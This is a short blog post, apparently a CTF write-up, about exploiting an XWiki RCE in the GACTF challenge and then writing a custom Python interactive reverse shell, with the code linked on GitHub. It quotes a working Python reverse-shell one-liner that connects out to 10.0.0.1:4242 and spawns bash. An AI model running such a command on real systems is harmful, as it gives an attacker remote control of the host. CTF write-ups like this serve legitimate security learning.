A Simple Interactive Shell in Python

Background

It’s been a really long time since last time I took participated in a CTF game. Last weekend, Randomly found an ongoing CTF game – GACTF.

There was a web challenge named XWIKI. That challenge provided an environment with XWIKI, an open source Wiki system. To dig more ways, I built another environment on my machine.

At the beginning, it was easy since there is a known RCE vulnerability for this system. After I successfully got the access to execute code with embedded Python macro, I found an ELF file that once was run would print a serials of questions and wait for the answer (0/1).

Using the function communicate() in subprocess to feed the all the answers in one time is easy, but since the it’s interactive and the questions will show up only when the answers to the previous questions are correct. To solve this issue, I wrote a script, parsing the page that contains the questions, calculating, then concat the new answers with the previous answers with symbol \n. Then my requests are like p.communicate('0\n1\n1\n0\n...').

Although I got the flag finally, it made me consider if it’s possible to popup a reverse shell – better to be a detached interactive shell? Then I did some research.


Idea about the Interactive Shell in Python

There are many ways to get an interactive reverse shell that have been shared by so many people. I’m not going to list them here. In stead, I’ll talk about a script that I wrote which is workable in the test environment (Yes, many methods didn’t work in that test environment). It may not the best implementation, but can be one substitution if other methods do not work.

At first beginning, I tried a commonly used reverse shell.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

However, it seems some libraries are missing and the exception Bad fd number may raise. So I wrote mine.

Here is the code repo.

There are two scripts – server.py and client.py. The server side script listens a specified port, reads and sends the user input to the client. The client script starts a process of /bin/bash, put received user input into the stdio, then send back the content from the stdout to the server side. Once the server script will print the content. All these processes are pseudo real-time.

There is no import pty and no os.dup2(). It should be able to run on most of Linux based systems.

Due to some limitations, there is some issues with the display. But to my surprise, Vim still works…… Since then you can execute more commands than using non-interactive shells, you may want to download socat or other tty that works with full functions.

Script

https://github.com/hazzel-cn/simple-interactive-reverse-shell

Demo

Leave a Reply